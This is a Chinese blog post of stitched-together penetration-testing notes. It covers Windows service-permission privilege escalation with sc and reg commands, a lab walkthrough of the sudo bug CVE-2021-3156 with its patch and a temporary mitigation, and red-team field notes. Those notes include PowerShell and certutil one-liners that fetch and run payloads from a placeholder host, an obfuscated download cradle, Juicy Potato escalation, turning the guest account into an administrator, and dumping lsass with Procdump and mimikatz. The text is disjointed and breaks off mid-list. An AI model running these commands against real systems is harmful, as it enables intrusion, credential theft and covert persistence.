# 查询Authenticated Users组可修改配置的服务

sc config <Server Name> binpath= "cmd.exe /k <EvilFilePath>"   
# 修改服务启动文件为恶意文件路径/命令
# binpath,指定服务的二进制文件路径,=后面必须有一个空格

如果当前用户对服务有启动和停止权限,就相当于拥有重启权限,执行以下命令重启服务

sc stop <Service Name>    
sc start <Service Name>
# 重启服务

服务注册表权限脆弱

不安全的用户权限,都是ACL配置不当,这里是低权限用户对服务的注册表有写入权限,因此可以通过修改注册表来修改服务配置。

accesschk64.exe /accepteula -uvwqk HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
# 查询当前用户具有写入权限的注册表项

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\<Server Name> /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k <EvilFilePath>" /f
# 修改注册表项的ImagePath字段指向预先上传的EvilFilePath

accesschk64.exe /accepteula -ucqv "<UserGroup Name>" <Server Name>
accesschk64.exe /accepteula -ucqv "INTERACTIVE" <Server Name>
accesschk64.exe /accepteula -ucqv "Authenticated Users" <Server Name>
# 查询用户组对服务是否有重启权限

sc stop <Service Name>    
sc start <Service Name>
# 重启服务

服务路径权限可控

用户错误配置,使低权限用户对服务调用的二进制文件或目录有写入权,

可以直接将该文件换成恶意程序,随着服务启动继承系统权限。

accesschk64.exe /accepteula -quv "<ServerFilePath>"
# 查看服务的二进制文件目录是否具有写入权

accesschk64.exe /accepteula -quv "<ServerGroupName>" "<ServerFilePath>"
# 查看服务的二进制文件目录对指定用户组是否具有写入权

sc stop <Service Name>    
sc start <Service Name>
# 重启服务

未引用的服务路径

也被称为可信任的服务路径。

如果完整路径中包含空格且未有效包含在引号中,那么对于该路径中的每个空格,windows都会按照从左到右的顺序尝试寻找并执行与空格前的名字相匹配的程序。

当系统依次尝试服务路径中的空格时,会以当前服务所拥有的权限进行。可将一个经过特殊命名的恶意程序上传到受影响的目录中,重启服务时,恶意程序随着服务启动而继承系统权限。

wmic service get DisplayName, PathName, StartMode|findstr /i /v "C:\Windows\\" |findstr /i /v """
# 枚举目标主机上所有该漏洞系统服务

accesschk64.exe /accepteula -quv "<UserGroupName>" "<DirFromServer>"
# 查找带空格提前解析的目录有没有写入权限

为了避免该漏洞的影响,在使用sc创建系统服务时,要对空格的服务路径使用引号包裹。

 sc create <servicename> binpath="xxx"

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

CVE-2021-3156 Linux sudo权限提升漏洞

Web安全

信息安全从业人员

计算机基础、计算机网络、Linux

预备知识

漏洞信息

漏洞编号:CVE-2021-3156

漏洞名称:Linux sudo权限提升漏洞

漏洞描述:

1月26日,sudo发布安全通告,
修复了一个类Unix操作系统在命令参数中,
转义反斜杠时存在基于堆的缓冲区溢出漏洞。

当sudo通过-s或-i命令行选项
在shell模式下运行命令时,

它将在命令参数中使用反斜杠转义特殊字符。
但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。
因此只要存在sudoers文件(通常是/etc/sudoers),
攻击者就可以使用本地普通用户,利用sudo获得系统root权限。

影响版本:sudo 1.8.2-1.8.31p2、sudo 1.9.0-1.9.5p1





实验目的
通过实验了解Linux sudo权限提升漏洞的起因,掌握漏洞利用的方法。

实验环境
操作系统:Ubuntu 18.04





任务描述:判断漏洞是否存在。

查看Ubuntu系统版本信息:
在这里插入图片描述

查看sudo版本:
在这里插入图片描述

sudoedit版本为1.8.21p2。
在这里插入图片描述

使用普通用户执行下面的命令:
如果返回以sudoedit:开头的错误,则当前系统可能存在安全风险;
在这里插入图片描述
不受影响的系统将显示以usage:开头的错误。
在这里插入图片描述

任务描述:sudo权限提升漏洞利用。
在这里插入图片描述

下载实验所需PoC并解压:
在这里插入图片描述

进入目录并执行:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

其中0)、1)、2)显示的是可以进行漏洞利用的版本。

根据我们的sudoedit版本选择0:
在这里插入图片描述

发现可以成功提权至root。





任务描述:漏洞原理简单分析。

攻击者可以通过在给sudo的任何argv或env参数末尾,
插入一个反斜杠来使堆块溢出,从而导致参数超出范围。

下面来看一下简化版的代码片段:
在这里插入图片描述

第一个for循环在遍历每个参数,
在这里插入图片描述

并使用strlen判断其大小(加上空终止符)。
假设我们有一个空字符串AAAA\(\是一个字符),
大小为5,
并且假设这是唯一的参数,仅分配5个字节。

在下一部分中有一个用于参数的外部for循环,
在这里插入图片描述

和一个将所有参数的内容复制到

单个缓冲区user_args中的内部循环,

本质上是将所有参数串联在一起。





考虑到与前面相同的字符串AAAA\一样,
当[0]==\成立时,进入if并从from++递增,
因为它指向空休止符,
所以导致递增。

之后执行下一条语句*to++=*from++;继续循环,复制空终止符的语句,
并再次递增from以继续复制空终止符之后的字节,最终超出界限。





调试分析见:https://www.cnblogs.com/hac425/p/14336484.html

漏洞修复
目前官方已在sudo新版本1.9.5p2中修复了该漏洞,
官方下载链接:https://www.sudo.ws/download.html

注:建议用户在升级前做好数据备份工作,避免出现意外。





临时防护措施

1、安装所需的systemtap软件包和依赖项:
RHEL7安装kernel debuginfo:debuginfo-install -y kernel-“$(uname -r)”

RHEL 8安装sudo debuginfo:debuginfo-install sudo

2、使用root安装脚本:

#nohup stap -g sudoedit-block.stap&

将输出systemtap脚本的PID编号,
该脚本会导致易受攻击的sudoedit二进制文件停止工作,sudo命令仍照常工作。

注:上述命令会在重启后失效。

3、一旦安装了补丁程序,就可以通过终止systemtap进程来删除systemtap脚本。
例如执行以下命令终止systemtap进程,其中7590是systemtap进程的PID:

kill -s SIGTERM 7590

分析与思考
更多漏洞分析见:https://www.kalmarunionen.dk/writeups/sudo/

参考
1、 https://www.venustech.com.cn/new_type/aqtg/20210127/22339.html

 1.代理池
cdn端到端  域前置ssl

profile


ping命令确定目标出网情况
尝试执行powershell命令直接上线cs
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))

使用证书下载尝试下载木马到服务器执行
certutil.exe -urlcache -split -f http://x.x.x.x/x.exe  D:\x.exe


iis的命令执行权限
利用烂土豆插件成功提权至system权限

Powershell.exe  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  - w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w  Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   No rmal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal   set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('h‘+’ttp://x.x.x.x/a')

taowu->权限提升->juicypotato
nt authority\system

server2012服务器 无法读取明文密码 
激活guest用户

net user guest   /active:yes
net user guest   tide@123456
net localgroup   administrators  guest   /add

搭建socks5隧道(nps,frp)


https://mp.weixin.qq.com/s/ph09jS2P883_4K49AYEEOg


ms14-058  CVE-2014-4113   驱动漏洞远程代码执行提权
server 2008
该漏洞影响了所有的Windows版本,
包括Windows7 和 Windows Server 2008 R2 及以下版本。
造成该漏洞原因是当 Windows 内核模式驱动程序 (win32k.sys) 不正确地处理内存中的对象时,会导致该漏洞。


msf CVE-2020-0787
Windows全版本本地提权漏洞





MS16-075烂土豆提权
execute-assembly CobaltStrike从内存加载.NET程序集



nt authority\system

将System权限上线到CobaltStrike
阿里云的ECS,对出站端口进行了限制,所以反弹不回来

https://mp.weixin.qq.com/s/_yL8htI1yqOJroev3eC_2A

创建一个管理员账户,然后3389远程桌面连接

利用Procdump+mimikatz获取到Administrator账户的明文密码。
(因为是win2008的服务器,所以可以获取到明文密码,08之后的服务器获取到的就是密文的了)







横向端口135,139,445


单点登录  中央认证系统



Procdump+mimikatz配合抓取密码Procdump是微软官方工具,不会被杀软查杀,
其抓取密码的原理是获取内存文件 lsass.exe 进程 (它用于本地安全和登陆策略) 中存储的明文登录密码并存储到lsass.dmp文件中,
之后我们就可以使用mimikatz去读取lsass.dmp获取到明文密码。


win10或2012R2以上操作要麻烦一些


远程桌面时,为了能够将我们本地的程序或文件拷贝到远程的主机上,应在本地资源中勾选上驱动器



读写目录的探测Read_and_Write
虚拟主机,磁盘权限设置较为严格,cmd.exe被降权执行不了命令,常见可读写目录也不能读,
这时就需要用到探测可读写的脚本来查找可读写的目录和文件,用于上传cmd.exe和提权EXP等。

可读写的系统文件上传覆盖执行
VHAdmin虚拟主机提权实战案例https://mp.weixin.qq.com/s/LmXi6niSJ4s-Cmq3jWSjaQ


常见可读写目录

扫描可读写目录

C:\Users\
C:\Windows\
C:\ProgramData\
C:\Program Files\
C:\Program Files (x86)\
C:\Documents and Settings\


≤2003可读写目录

C:\RECYCLER\
D:\RECYCLER\
E:\RECYCLER\
C:\Windows\temp\
C:\Windows\Debug\
C:\Windows\Registration\CRMLog\
C:\Documents and Settings\All Users\Documents\


≥2008可读写目录

C:\ProgramData\
C:\Windows\temp\
C:\Windows\Tasks\
C:\Windows\tracing\    //不可删
C:\Windows\debug\WIA\
C:\Windows\servicing\Sessions\
C:\Windows\servicing\Packages\
C:\Windows\Registration\CRMLog\
C:\Windows\System32\spool\drivers\color\
C:\Users\Default\AppData\    //不可删
C:\ProgramData\Microsoft\DeviceSync\
C:\ProgramData\Microsoft\Crypto\DSS\MachineKeys\
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\
C:\ProgramData\Microsoft\User Account Pictures\    //不可删
C:\Users\All Users\Microsoft\NetFramework\BreadcrumbStore\    //不可删
C:\ProgramData\Microsoft\Windows\WER\ReportArchive\
C
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

amingMM

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值